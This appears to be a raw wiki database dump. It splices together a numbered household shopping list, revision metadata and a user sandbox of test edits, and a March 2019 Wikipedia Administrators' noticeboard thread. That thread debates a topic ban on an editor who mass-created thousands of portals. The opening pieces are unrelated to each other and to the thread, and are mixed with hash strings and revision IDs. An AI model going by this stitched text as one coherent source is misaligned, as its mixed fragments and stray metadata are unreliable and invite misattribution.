*202 6913, Grater Stuff, Pans and Others.
*202 6914, Bottles of Cola, Breads, Milk to make Chocolate.
*202 6915, Iced Coffee, Water Bottles, Baskets and Others.
*202 6916, Aldi Bag, Strawberry Mints and Others.
*202 6917, Lighters, Plates, Freshener or Spray and Others.
*202 6918, New Clothes, Basket, Extra Mint and Others.
*202 6919, Face Cloths, Lu Paper, Water and Others.
*202 6920, Domino's Pizza, Pillows, Notes and Others.
*202 6921, Remotes, Pizza and Barbecue Shapes, Square Pillow and Others.
*202 6922, Food Shopping like Waters, Cans of Coca Cola, Cheese, Lasagna and Others.
*202 6923, Cloths, Facecloth, New Pot and Others.
*202 6924, Aldi Stuff, Glass Cups, Candles and Others.
*202 6925, Copy Paper, Glasses, Lasagna Tray Pan and Others.
*202 6926, Tax Boxes, Bags, Lighter, Texter and Others.
*202 6927, Cans of Coca Cola, Bottles, Cordial and Others.
*202 6928, Pairs of Shoes or Slippers, Square Pillow and Others.
Current, 202 6929. ($#!+).
*202 6930. (iPod Classic, Playlist or Songs)
''20261001''
rkul5y843knwj0lah3s58goqkz3h1bv
MavetunaZilant21
0
101807
768292
689707
2026-10-13T15:48:06Z
~2026-54953-41
76170
768292
wikitext
text/x-wiki
__NOINDEX__
__NEWSECTIONLINK__
Test by anon user Oct13/2026
[[File:Syringa vulgaris-Lilac-Chepan.jpg|thumb|test123]]
== April 23 test ==
{{#function:Z11022|126}}
== Oct 18 ==
test123 4567
== Nov 17 test ==
test123 [[User:Zilant17|Zilant17]] ([[User talk:Zilant17|talk]]) 17:41, 17 November 2023 (UTC)
test456
== Feb 27 test ==
te<sup>st</sup>
'''test'''<ref>{{Cite web |title=Google |url=https://www.google.com/?gws_rd=ssl |access-date=2025-08-12 |website=www.google.com}}</ref>
''test'' [[User:Etonkovidova (WMF)|Etonkovidova (WMF)]] ([[User talk:Etonkovidova (WMF)|talk]]) 00:10, 28 February 2024 (UTC)
2xeceg8gbmiogpuih5eeexsnvbscp0d
Wikipedia:Administrators' noticeboard
4
103050
768283
768123
2026-10-13T14:45:04Z
TienMinh-mun6xnChing
76150
Undid revision [[Special:Diff/739797|739797]] by [[Special:Contributions/~2026-26083-05|~2026-26083-05]] ([[User talk:~2026-26083-05|talk]])
768283
wikitext
text/x-wiki
__NEWSECTIONLINK__
{{short description|Page for requests and notifications to non-specific administrators}}
<noinclude><!-- Inside the noinclude, because this page is transcluded. -->{{Wikipedia:Administrators' noticeboard/Header}}{{Active editnotice}}</noinclude>
{{User:MiszaBot/config
| algo = old(6d)
| counter = 307
| archive = Wikipedia:Administrators' noticeboard/Archive%(counter)d
| maxarchivesize = 700K
| archiveheader = {{Administrators' noticeboard navbox all}}
| minthreadstoarchive = 1
| minthreadsleft = 3
}}
<!--
{{User:ClueBot III/ArchiveThis
|header={{Administrators' noticeboard navbox all}}
|archiveprefix=Wikipedia:Administrators' noticeboard/Archive
|format=%%i
|age=48
|index=no
|numberstart=255
|minkeepthreads= 4
|maxarchsize= 700000
}}
-->
{{User:HBC Archive Indexerbot/OptIn|target=Wikipedia:Administrators' noticeboard/Archive index|mask=Wikipedia:Administrators' noticeboard/Archive<#>|leading_zeros=0|indexhere=no}}<!--
----------------------------------------------------------
New entries go down at the *BOTTOM* of the page, not here.
----------------------------------------------------------
--><noinclude>{{TOC limit|3}}{{Wikipedia:Administrators' noticeboard/Requests for closure}}
== Pages recently put under [[WP:ECP|extended-confirmed protection]] ==
{{collapse top|Report|expand=true}}
{{User:MusikBot/ECPMonitor/Report}}
{{collapse bottom}}
==Thousands of Portals==
The purpose of this posting is to discuss [[WP:Portal|portals]], hundreds of portals. There is already discussion at [[WP:VPR|Village pump (Proposals)]] (see [[WP:Village pump (proposals)#Hiatus on mass creation of Portals]]) to stop the creation of large numbers of portals by [[User:The Transhumanist]], and the consensus is going strongly in favor of a hiatus, and there have been no new portals created since 22 February, but there has been no agreement to stop the creation of portals. The discussion at VPR appears to have slowed down, with a very clear consensus for some sort of hiatus, although it is not clear whether everyone agrees that the consensus is to stop the semi-automated creation of portals, or to stop the semi-automated creation of portals by TTH, or to stop all creation of portals by TTH (since there seems to be disagreement on what is semi-automated creation). Some editors have suggested that these portals are the equivalent of redirects by Neelix that warrant mass destruction. Anyway, proposals at VPR are just that, proposals. I am bringing the discussion here.
Perhaps I don’t understand, but [[User:The Transhumanist]] appears to be saying that we need to use portals as an experiment in navigation and in innovation. I am not sure that I understand whether, by experiment, they mean testing, a new initiative, or what, but I am not sure that I understand what is being innovated, or why it requires hundreds or thousands of portals.
[[User:Robert McClenon|Robert McClenon]] ([[User talk:Robert McClenon|talk]]) 02:51, 1 March 2019 (UTC)
: Note that the mass hiatus wasn't on me per se, but applicable in general. It applies to everyone. It's so that nobody mass creates portals for the time being. That includes me. <span class="nowrap"> — ''[[User talk:The Transhumanist|The Transhumanist]]'' </span> 05:53, 1 March 2019 (UTC)
====An Example and Some Comments====
One of the portals that has been proposed by [[User:Legacypac]] for deletion is [[Portal:English language]]. A look at it, with its error messages, is sadly informative. It was one of Wikipedia's earliest portals, preceding the involvement of the current portal team of TTH and a few other editors. However, the current portal team has made breaking changes to [[Portal:English language]], apparently in order to attempt to improve the maintenance of portals. They apparently don't know how to keep our existing portals working, so what business do they have creating thousands of additional portals? We are told that the new portals are maintenance-free or nearly maintenance-free, but have the new portals been created at the cost of breaking existing portals? [[User:Robert McClenon|Robert McClenon]] ([[User talk:Robert McClenon|talk]]) 03:39, 2 March 2019 (UTC)
Also, TTH says, above, that there is a hiatus that applies to everyone so that nobody mass creates portals for the time being. What is meant by mass creation, as opposed to individual creation? Are they agreeing not to create any portals for the time being? How long a time? Will they defer the creation of any new portals until (and unless) there is a consensus arrived at the criteria for the creation and maintenance of new portals? [[User:Robert McClenon|Robert McClenon]] ([[User talk:Robert McClenon|talk]]) 03:39, 2 March 2019 (UTC)
Also, if any editor wishes to propose mass deletion of portals, similar to Neely redirects, that can be Proposal 3 (or 4). [[User:Robert McClenon|Robert McClenon]] ([[User talk:Robert McClenon|talk]]) 03:39, 2 March 2019 (UTC)
:Further investigation found 2 of the 8 portals linked off the top of the Mainpage had similar Red Script Errors where content should be. [[User:Moxy]] has now reverted these to pre-automation status. A lot of effort goes into keeping content linked from the Mainpage error free, yet this little Portal Project group replaced featured article quality portals with automated junk. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 03:46, 2 March 2019 (UTC)
:See [[WP:AADD#Surmountable problems]]. "Something broke but could be fixed" isn't a deletion rationale. Much less a deletion rationale for {{em|different}} pages; that's the [[guilt by association]] fallacy. Note also the {{lang|la|[[ad hominem]]}} fallacy in there too, making it about specific people and getting back at them and suggesting they're too incompetent to create a new page, etc., instead of the argument focusing on content and our systems of presenting and navigating it. Tsk tsk. <span style="white-space:nowrap;font-family:'Trebuchet MS'"> — [[User:SMcCandlish|'''SMcCandlish''']] [[User talk:SMcCandlish|☏]] [[Special:Contributions/SMcCandlish|¢]] 😼 </span> 17:11, 14 March 2019 (UTC)
{{clear}}
===Proposal 1: Interim Topic-Ban on New Portals ===
{{atop|There is a rough consensus to formalize a moratorium on creation of new portals, as proposed. There is some prominent opposition rooted in the notion that it is not necessary to formally sanction an editor who has already self-imposed the sanction, and this is a reasonable point. Other than that, however, there is little sentiment that the behavior is not problematic and worthy of preventative measures, voluntary or otherwise. So, the worst case scenario presented by the opposition is that a user is formally barred from repeating a specific action that they would not be repeating otherwise. This worst case scenario is harmless, both to the project, and the editor, with the only difference being that the preventative measure that everyone seems to agree on is binding, as opposed to voluntary and non-binding. Evidence has also been presented that, contrary to the voluntary moratorium, TTH ''continues'' to work to expand the portal space, even as of today, and has not engaged in anything that would indicate that they're actually working to resolve the problem they created in good faith. This sort of thing seems to damage the case being made that a TBAN would be completely pointless. Additionally, there is equally prominent support that feels this sanction is an ''underreaction'', and that much stronger sanctions, up to a full site-ban, are warranted. Will notify and log appropriately. Regards, [[User:Swarm|<span style="color:Green">'''~Swarm~'''</span>]] [[User talk:Swarm|<span style="color:DarkViolet">'''{talk}'''</span>]] 04:58, 17 March 2019 (UTC)}}
I propose a [[WP:TBAN|topic-ban]] on the creation of portals by [[User:The Transhumanist]] for three months, to provide time for the development of new guidelines on portals, to provide time to dispose of some of the portals at [[WP:MFD|MFD]], and to provide time to consider whether it is necessary to mass-destroy portals.
[[User:Robert McClenon|Robert McClenon]] ([[User talk:Robert McClenon|talk]]) 02:51, 1 March 2019 (UTC)
*'''Support''' as proposer. [[User:Robert McClenon|Robert McClenon]] ([[User talk:Robert McClenon|talk]]) 03:02, 1 March 2019 (UTC)
*'''Support''' the true number of portal creations by this user appears to be around 3500 portals since July 2018 (claims this here [https://en.wikipedia.org/wiki/User_talk:CASSIOPEIA/Archive_17#Creating_portals]). There were less than 1700 portals prior. On their talk they said it takes them 3 mins. 3 minutes is not enough time to properly consider content or what should be included. After we get a few automated portals deleted at MFD and the VP discussion reaches some closure I feel strongly we need to delete all the automated portals as a really bad idea. The template that automates these is up for deletion at [[Wikipedia:Templates_for_discussion/Log/2019_February_28#Template:Basic_portal_start_page]] Further, even though TTH disputes semi-automated creation here he says he uses "semi-automated methods of construction" and is using a "alpha-version script in development that speeds the process further" [https://en.wikipedia.org/wiki/User_talk:CASSIOPEIA/Archive_17#Creating_portals] [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 03:12, 1 March 2019 (UTC)
*'''Comment'''. I need to investigate this issue a little further, but I was quite concerned about this before I even saw the thread, because I discovered [[Portal:Ursula K. Le Guin]] a few months ago. I've written a considerable portion of the content about Le Guin on Wikipedia, and even I think it's too narrow a topic for a portal; and when I raised this on the talk page, Transhumanist didn't respond, though they've been active. Transhumanist has been around for a while, so if they're willing to voluntarily stop creating portals while guidelines are worked out, I don't see a need for a formal restriction. <span style="font-family:Papyrus">[[User:Vanamonde93|Vanamonde]] ([[User Talk:Vanamonde93|Talk]])</span> 03:21, 1 March 2019 (UTC)
*'''Response from The Transhumanist''' – The proposer of the hiatus, [[User:UnitedStatesian]], acknowledged that my efforts have been in good faith. Note also that no rules have been broken (to my knowledge) – I carefully went over the existing mass creation rule and portal scope rule before starting. I have been a participant in the hiatus of mass creation discussion, and have voluntarily ceased portal creation since Feb 21, so as not to aggravate the other participants of that discussion. (What purpose would that serve?) I wish the matter to be resolved as much as anyone else. Since scope is actively being discussed over at the portals guideline talk page, it makes little sense to create pages that might be removed shortly thereafter based on new creation criteria. I plan on participating in the discussions, perhaps continue working on (existing) portals, and I have no plans to defy the mass creation hiatus. Nor do I plan on pushing the envelope any further. The VPR community has expressed a consensus that mass creation be halted. Robert McClenon is seeking to go beyond community consensus specifically to stop me from creating any portals at all, which is not what the community decided. If editors in general are allowed to create portals, just not mass create them, as the response to UnitedStatesian's proposal has indicated, why should I be singled out here? A topic-ban would be unjustified given the circumstances, and would be punitive in nature. In such a case, I would like to know what I was being punished for. Sincerely, <span class="nowrap"> — ''[[User talk:The Transhumanist|The Transhumanist]]'' </span> 06:20, 1 March 2019 (UTC)
:*{{yo|The Transhumanist}} I <u>do not share @[[User:UnitedStatesian|UnitedStatesian]]'s assumption of good faith</u>. The evidence which I have seen points far too strongly in the other direction for me to sustain that assumption.
::Please see for example [[Wikipedia:Miscellany for deletion/Portal:University of Fort Hare|MFD: Portal:University of Fort Hare]]. I find it impossible to believe that a remotely competent editor acting in good faith could have created that portal-to-nowhere. If there is some good faith explanation which i overlooked, then I will enjoy hearing it ... but for now, that page looks like just one of many of examples of TTH intentionally creating utterly useless portsalspam in flagrant disregard of any version of the much-hacked portal guidelines, let alone the clear community consensus for selectivity in portal creation as expressed at [[WP:ENDPORTALS]].
::As others have noted, this is not TTH's first rampage of disruption. If there really was good faith this time, then TTH needs to urgently some serious explaining of their actions, because they <u>do not look like the good faith conduct of a competent editor</u>. --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 02:07, 16 March 2019 (UTC)
*'''Support''', given Transhumanist's utter refusal to listen to the input at the Proposals thread during the last days, or anywhere else for that matter. Would go further and support a full, indefinite topic ban or even site ban. Every time I've encountered The Transhumanist over the years, it was invariably over some pattern of mindless mechanistic mass creation of contentless pages, which he then kept pushing aggressively and single-mindedly into everybody's face. [[User:Future Perfect at Sunrise|Fut.Perf.]] [[User talk:Future Perfect at Sunrise|☼]] 07:18, 1 March 2019 (UTC)
And now we need to clean this mess up. It took me far too long to find and bundle thirty pages for deletion at [[Wikipedia:Miscellany for deletion/Districts of India Portals]] compared to the 3 minutes a piece he took to create them, but better to head this off before he starts into the other 690 odd Indian districts. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 07:33, 1 March 2019 (UTC)
*'''Quoted Comment on scale of this issue''' "Since July 1st (after [[WP:ENDPORTALS]] was over), over 4500 portals, excluding redirects, have been created ([[quarry:query/33793]]); the Transhumanist created more than 3500 ([[quarry:query/33795]]); of those, at least 561 were created with a summary along the lines of {{tq|Started portal, in tab batch save, after batch was inspected: image slideshow minimum 2 pics, no empty sections. No visible formatting or Lua errors upon save, but there may be intermittent errors; report such bugs at WT:WPPORTD so that they can be fixed. Thank you.}} ([[quarry:query/33794]]). Just a note --[[User:DannyS712|DannyS712]] ([[User talk:DannyS712|talk]]) 04:42, 27 February 2019 (UTC)" (end quote) |This off a base of just under 1800 Portals existing in July 2018. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 07:49, 1 March 2019 (UTC)
*'''Support'''. Given the history with TTH—who has been pulling this same kind of "create an unwanted megaproject, force it through without discussion, and expect the rest of us to waste our time maintaining it" stunt for well over a decade (anyone remember [https://en.wikipedia.org/w/index.php?title=Special:Undelete&target=User%3ASharkface217%2FAwards+Center×tamp=20080621021418 The Award Center]? [[Wikipedia:WikiProject Outlines]]? [https://en.wikipedia.org/w/index.php?title=Special:Undelete&target=Wikipedia%3AAdmin+school×tamp=20061107125742 The Admin School]?) and always tries the same "well, it wasn't explicitly banned so I assumed it was what you wanted" defense when called out on it, I'd strongly support a full and permanent topic ban and wouldn't be opposed to a site ban; anyone who's been here for as long as TTH and still can't see the issue with [[Portal:Yogurts]], [[Portal:Rutland]] or [[Portal:A Flock of Seagulls]] is someone who's either being intentionally disruptive or is wilfully refusing to abide by Wikipedia's norms. ‑ [[User:Iridescent|Iridescent]] 08:26, 1 March 2019 (UTC)
*'''Support''' temporary topic ban as a first step. We can look at a site ban if he ignores the topic ban. [[User:PhilKnight|PhilKnight]] ([[User talk:PhilKnight|talk]]) 08:32, 1 March 2019 (UTC)
*'''Support''' A topic ban is necessary while the issue is discussed and mass deletion considered. Adding thousands of inadequate and unmaintainable pages is not helpful. [[User:Johnuniq|Johnuniq]] ([[User talk:Johnuniq|talk]]) 09:39, 1 March 2019 (UTC)
* '''Support''' A generally-accepted principle of Wikipedia editing is that people who add content, and especially established editors, help to maintain it. Even assuming the best about Transhumanist here, I can't see how they can possibly do this with all these obscure portals. A ban on creating more of them has to be the first step. [[User:Nick-D|Nick-D]] ([[User talk:Nick-D|talk]]) 10:07, 1 March 2019 (UTC)
* '''Reluctantly Support''' We need time to curate and prune the low-quality portals, otherwise someone will panic and start deleting portals outright. 1:1 (topic to portal) parity is a nice goal, but it isn't readily achievable without the content to fill those portals.--<span style="text-shadow:#FFD700 0.2em 0.2em 0.2em">[[User:Auric|<span style="color: #FC3700;">'''Auric'''</span>]] [[User talk:Auric|<span style="color: #0C0F00;">''talk''</span>]]</span> 11:33, 1 March 2019 (UTC)
*'''Support''': TTH's approach seems rather cavalier at the moment. A change, as they say, is as good as a test. [[User:Serial Number 54129|<span style="color:black">'''——'''</span>]][[Special:Contributions/Serial Number 54129|<span style="color:black">''SerialNumber''</span>]][[User talk:Serial Number 54129|<span style="color:#8B0000">54129</span>]] 11:58, 1 March 2019 (UTC)
*'''Oppose/Wait''' Let's see if he complies with the eventual results of the discussion at VPP. If he voluntarily agrees to stop, based on community input, then sanctions are not necessary. This seems like overkill right now. First, let the community guidelines pass, THEN let him violate those before we rush to ban. --[[User:Jayron32|<span style="color:#009">Jayron</span>]][[User talk:Jayron32|<b style="color:#090">''32''</b>]] 12:13, 1 March 2019 (UTC)
*'''Massive Oppose - why the rush to ban?''' - the idea that giving a TBAN is the only appropriate means is bonkers - there are ongoing discussions. Currently you are trying to TBAN someone who hasn't broken policy. Let's get the agreements in, see if they stop and only then make any action [[User:Nosebagbear|Nosebagbear]] ([[User talk:Nosebagbear|talk]]) 12:18, 1 March 2019 (UTC)
*'''Comment''': Isn't this all very similar to the mass creation of "Outline of" articles by The Transhumanist that met with the same kind of opposition (and tanked an [https://en.wikipedia.org/wiki/Wikipedia:Requests_for_adminship/The_Transhumanist_6 RFA]) 10 years ago? If so, then I'd say a topic ban might be in order.--[[User:Atlan|Atlan]] ([[User talk:Atlan|talk]]) 13:37, 1 March 2019 (UTC)
:*Yes, it is. [[User:UnitedStatesian|UnitedStatesian]] ([[User talk:UnitedStatesian|talk]]) 03:26, 3 March 2019 (UTC)
*'''Support''' this or a complete topic ban from portals or if this continues simply a complete ban. His latest reply [https://en.wikipedia.org/w/index.php?title=Wikipedia%3AVillage_pump_%28proposals%29&type=revision&diff=885662927&oldid=885656985 here] shows such a complete [[WP:IDHT]] attitude, with utterly founded claims about the need to have thousands of portals to be able to find and fix issues (even though many of the now reported issues appear in portals from months ago already), and on the other hand that they have now trouble finding and fixing flaws: "With Legacypac and others actively nominating the new portals for deletion at MfD, our opportunities for improving them and discovering and fixing design flaws are diminishing quickly.", even though perhaps 2 or 3% of the new portals have been nominated, and more than enough similar problematic ones remain to work on (e.g. the inclusion of a DYK which links to [[red herring]] on the [[Portal:Forage fish]]...). Statements like "Legacypac's approach is to recommend deletion of the new type of portal due to design flaws such as this. " shows a thorough lack of understanding of why these MfDs are made and why so many people support them. The designs flaws are just a small part of the reason for deletion, the lack of interest in, maintenance of, and contents for many of these portals are much more important. [[User:Fram|Fram]] ([[User talk:Fram|talk]]) 14:11, 1 March 2019 (UTC)
** The MfDs are potentially a prelude to [[User:DannyS712/rfc4|an RfC]], which may accelerate the process of deletion. With that in mind, the potential shrinkage is worrisome. I'm so tired, I forgot to mention it above. <span class="nowrap"> — ''[[User talk:The Transhumanist|The Transhumanist]]'' </span> 14:42, 1 March 2019 (UTC)
:::The MfDs, which impact a tiny portion of these creations but a decent sample of various types of topics, are very useful for finding out what the community finds acceptable or desirable. The MfDs are consensus building (something you forgot/ignored). Soon we will be able to craft acceptance and deletion criteria based on the MfD results. That's how notability and other guidelines get developed, precedent. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 15:23, 1 March 2019 (UTC)
*'''Unnecessary''' Yes, they need to stop, but they have already agreed to do so (see above: {{tq| <nowiki>[I]</nowiki> have voluntarily ceased portal creation since Feb 21, so as not to aggravate the other participants of that discussion}}), and they are unlikely to kneecap themselves by continuing under the massive scrutiny now present. Let's be civil and spare them the block log entry. Current discussion should drive the portal thing towards some practical steps that will likely include the deletion of most of the offending portals, and some agreed-on guideline that prevents mass creation from occurring again. Let's focus on that. --<span style="font-family:Courier">[[User:Elmidae|Elmidae]]</span> <small>([[User talk:Elmidae|talk]] · [[Special:contributions/Elmidae|contribs]])</small> 14:44, 1 March 2019 (UTC)
*'''Support''' – The unilateral creation of thousands of portals must stop. This has been driven largely by one editor, who has made the creation and preservation of portals his or her singular objective. We've seen since the portals RfC that this user will stop at nothing to continue the march of portals...regardless of community concerns, and regardless of Wikipedia policies and guidelines. Removing him or her from the portal topic area is the only way to prevent further disruption. [[User:RGloucester|<span style="font-family:Monotype Corsiva;font-size:12pt;color:#000000">RGloucester </span>]] — [[User talk:RGloucester|☎]] 15:09, 1 March 2019 (UTC)
*'''Support''' - as a first step. [[User:Beyond My Ken|Beyond My Ken]] ([[User talk:Beyond My Ken|talk]]) 18:42, 1 March 2019 (UTC)
*'''Unnecessary''' per Elmidae. [[User:Enterprisey|Enterprisey]] ([[User talk:Enterprisey|talk!]]) 19:31, 1 March 2019 (UTC)
*'''Unnecessary''' at this time as the editor has already agreed to stop and discussions are ongoing. [[User:Jonathunder|Jonathunder]] ([[User talk:Jonathunder|talk]]) 22:45, 1 March 2019 (UTC)
*'''Support''' Although TTH seerms to be acting in good faith {{they|The Transhumanist}} just don't know when to stop, so the community has to do it for them. [[User:Miniapolis|'''''<span style="color:navy">Mini</span>''''']][[User_talk:Miniapolis|'''''<span style="color:#8B4513">apolis</span>''''']] 23:50, 1 March 2019 (UTC)
*'''Reluctant support''' TT was one of the first users that was ever nice to me, many years ago, so I'd really rather not, but this is way out of line. Personally tripling the number of portals, a WP feature that almost nobody uses, and with apparenrly very little consideration to what subjects actualy merit a portal is grossly iresponsible. I get that they were upset at the proposed removal of portals, but this is a ridiculous overreaction that benefits nobody, and if they can't see that then a formal restriction is necessary. [[User:Beeblebrox|Beeblebrox]] ([[User talk:Beeblebrox|talk]]) 18:20, 2 March 2019 (UTC)
*'''Support''' per [[User:Fram]], and I assume it would also cover conversions of "old-style" Portals to the problematic one-page versions, as well as adding portal links to any article in the mainspace, and all other Portal-related editing. [[WP:IDHT]] is spot on: in all of these Portal-related discussions, TTH has again shown what is to me a shocking failure of self-examination: no "Gee, this is '''another''' case where a broad swath of the community seems to have a major issue with my behavior, and thus should cause me to step back and assess whether there is 1) anything that, in retrospect, I should I have done differently, and 2) anything I can do ''now'' to a) try to mitigate the damage and/or b) regain the communitity's good favor." TTH's factual statement that "I have not created any new Portals since Feb. 21" is meaningless as a commitment to future behavior. [[User:UnitedStatesian|UnitedStatesian]] ([[User talk:UnitedStatesian|talk]]) 03:24, 3 March 2019 (UTC)
*'''Unnecessary''' As mentioned above, moving to preemptively TBAN an editor who has already agreed to stop while discussion is underway serves no purpose here. If they choose to ignore the community consensus, then we can discuss further preventative measures, but doing so now is premature. <small>As an aside, most of those red errors that are being reported are simple fixes, so anyone who finds one can post a note on [[WT:WPPORT]] for one of our editors to fix, or simply add {{para|broken|yes}} to the {{tl|Portal maintenance status}} template at the top of the page.</small> — AfroThundr <sup>([[User:AfroThundr3007730|u]] · [[User talk:AfroThundr3007730|t]] · [[Special:Contributions/AfroThundr3007730|c]])</sup> 06:11, 3 March 2019 (UTC)
* '''Support'''. Portals have not been working for for 13 years. A pause of 3 months is more than reasonable. --[[User:SmokeyJoe|SmokeyJoe]] ([[User talk:SmokeyJoe|talk]]) 04:47, 4 March 2019 (UTC)
* Mass portal creation should be consider foul of [[Wikipedia:MEATBOT]]. Before continuing, I suggest seeking approval at an RfC, followed by the standard Bot approval process. --[[User:SmokeyJoe|SmokeyJoe]] ([[User talk:SmokeyJoe|talk]]) 04:59, 4 March 2019 (UTC)
*'''Support''' This is a long-term problem with TTH. It used to be "Outline" pages, & maybe still is. He is always polite & cheery, but completely ignores all criticism and pushes on with his agenda, as his rather scary newsletters show. [[User:Johnbod|Johnbod]] ([[User talk:Johnbod|talk]]) 15:50, 7 March 2019 (UTC)
*'''Support'''. Sensible proposal. Agree with UnitedStatesian that this should also cover conversions of old-style portals. [[User:Feminist|feminist]] ([[User talk:Feminist|talk]]) 05:04, 8 March 2019 (UTC)
*'''Oppose''' TTH has agreed to stop for now, he doesn't need a formal ban when he's already doing it voluntarily. [[User:SemiHypercube|<b style="color:#090">Semi</b>]][[User talk:SemiHypercube|<i style="color:#099">Hyper</i>]][[Special:Contributions/SemiHypercube|<u style="color:#009">cube</u>]] 17:01, 8 March 2019 (UTC)
*'''Oppose''' Per [[Elmidae]], the user has agreed to stop and has not formally violated policies. We don't need more portals and this behavior needs to stop, but it seems that this has already been achieved for now while discussion is ongoing. — [[User:MarkH21|MarkH21]] ([[User talk:MarkH21|talk]]) 08:12, 12 March 2019 (UTC)
*'''Oppose''' - Uneccessary, as The Transhumanist has already ceased such activities (i.e. {{tq|I have ... voluntarily ceased portal creation since Feb 21 ... I have no plans to defy the mass creation hiatus [that has already been established].}}). <small>— [[User:Godsy|<span style="color:#39A78E;">'''Godsy'''</span>]]<sup> ([[User talk:Godsy|TALK]]</sup><sub style="margin-left:-2.0ex;">[[Special:Contributions/Godsy|<span style="color:#DAA520;">CONT</span>]])</sub></small> 00:04, 13 March 2019 (UTC)
*'''Oppose'''. This is circular reasoning. "I don't think we should have these portals, and others disagree, so I want to punish/shame my principal opponent in hopes of winning." This is several forms of [[red herring]] fallacy all at once (including {{lang|la|[[argumentum ad baculum]]}}, [[appeal to spite]], [[poisoning the well]], and [[traitorous critic]]). {{em|If}} consensus firmly decides we don't want these portals, and {{em|then if}} an editor were to defy that decision and create a bunch more portals of exactly the sort we decided were unwanted, {{em|only then}} would a topic-ban of any kind be warranted. <span style="white-space:nowrap;font-family:'Trebuchet MS'"> — [[User:SMcCandlish|'''SMcCandlish''']] [[User talk:SMcCandlish|☏]] [[Special:Contributions/SMcCandlish|¢]] 😼 </span> 16:54, 14 March 2019 (UTC)
*'''Strong support''' this and any other restraint on TTH, up to and including perma-siteban. After stumbling on some micro-portals and MFDing them, I spent a lot of time in September last year discussing these issue ubsuccessfully with the Portals project (see e.g. [[WT:WikiProject_Portals/Archive 7#Portal_Wish_List]], [[WT:WikiProject_Portals/Archive 7#BrownHairedGirl's_agenda]], more at [[WT:WikiProject Portals/Archive 8]])
:It was absolutely clear throughout those discussions that TTH had no regard to the balance of opinion in last years RFC, and repeatedly personalised all reasoned criticism of his conduct as "bias", "personal attack" or "bullying"
:There were a few other voices in those discussions who urged restraint, such as @[[User:Bermicourt|Bermicourt]], but TTH took no notice of any of it. So all that's happening now was flagged well in advance, and TTH paid no heed until a community outcry. TTH is now pledging restraint, but made similar promises back in September which were ignored when when the heat was off. --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 07:16, 15 March 2019 (UTC)
*'''Strong oppose.''' Respectfully to supporters, this idea of a TB that targets a single editor for something that several of us have been involved with comes off as witch-hunty and scapegoaty. I know [[WP:AGF|that's not what it is]]; however, that is how it seems – at least to me. '''''[[User:Paine Ellsworth|<span style="font-size:95%;color:darkblue;font-family:Segoe Script">Paine Ellsworth</span>]]'''''<small>, ed. [[User talk:Paine Ellsworth|<sup>put'r there</sup>]] </small> <small>09:30, 15 March 2019 (UTC)</small>
**That's a really weird oppose, @[[User:Paine Ellsworth|Paine Ellsworth]]. If you know it's not actually witch-hunty and scapegoaty, what's the problem? --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 09:48, 15 March 2019 (UTC)
***uhm, I "know" because I really do want to AGF; the problem is that I can't stand by and watch forty lashes given to someone when I helped tie him to the whipping post, so to speak. Hold us all responsible if you want, but don't single just one of us out for something several of us helped do. Hope that's a bit clearer. Thank you for asking, because I do sometimes have difficulty expressing myself adequately with the written word. '''''[[User:Paine Ellsworth|<span style="font-size:95%;color:darkblue;font-family:Segoe Script">Paine Ellsworth</span>]]'''''<small>, ed. [[User talk:Paine Ellsworth|<sup>put'r there</sup>]] </small> <small>10:15, 15 March 2019 (UTC)</small>
****{{yo|Paine Ellsworth}} thanks for the reply. Can you explain more about what you mean by {{tq|helped tie him to the whipping post, so to speak}}?
::::I am puzzled by it, because while I was aware that a few others [[WP:WPPORT]] supported auto-portals, I was not specifically aware that anyone had encouraged {{yo|The Transhumanist|p=}}'s mass-creation sprees of micro-portals and nano-portals.
::::For example, did you or others support the [https://en.wikipedia.org/w/index.php?title=Special:Contributions&dir=prev&offset=20180912064801&limit=500&contribs=user&target=The+Transhumanist&namespace=100&tagfilter=&newOnly=1&start=&end= this creation of over 40 portals per hour]?
::::Did you or others support or encourage the creation of [[Portal:University of Fort Hare]] (I have now nominated it at [[Wikipedia:Miscellany for deletion/Portal:University of Fort Hare|MFD: Portal:University of Fort Hare]]), which was literally a portal to nowhere?
::::I ask this, because it seems to me that there is in fact massive gap between the culpability of a) those WP:WPPORT members who supported creating far more more portals than the community supports; and b) TTH, who repeatedly rapid-created created portals which unavoidably meet [[WP:P2]].
::::That's why I think it's fair to single out TTH. But if I have misunderstood the gap in responsibility, please correct me. --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 01:25, 16 March 2019 (UTC)
:::::Responsibility begins with the discussion that saved the portals. It gave the impression that not only was portalspace worth saving, it was worth improving. Then there were those of us who joined the portals project to help when we can, and we did. Perhaps the nom should be held responsible for comparing TTH's actions with the Neelix redirect fiasco? Incomparable, because Neelix created all those filthy dirty redirects all alone, with no help from any members of WikiProject Redirect. TTH had help creating all those filthy dirty portals, though, and with spreading their application. This is outrageously overkill. TTH has ceased making portals all on their own. The nom knows this and yet still had to suggest a topic ban. Why? In my own crummy way of expressing myself with words: pffft! '''''[[User:Paine Ellsworth|<span style="font-size:95%;color:darkblue;font-family:Segoe Script">Paine Ellsworth</span>]]'''''<small>, ed. [[User talk:Paine Ellsworth|<sup>put'r there</sup>]] </small> <small>12:57, 16 March 2019 (UTC)</small>
*'''Oppose''' per Elmidae, SMcCandlish and Jonathunder. The user has already voluntarily ceased creating new portals since February 21. There's no need for "the beatings to continue until morale improves". <span class="smallcaps" style="font-variant:small-caps;">[[User:Northamerica1000|North America]]<sup>[[User talk:Northamerica1000|<span style="font-size: x-small;">1000</span>]]</sup></span> 01:39, 16 March 2019 (UTC)
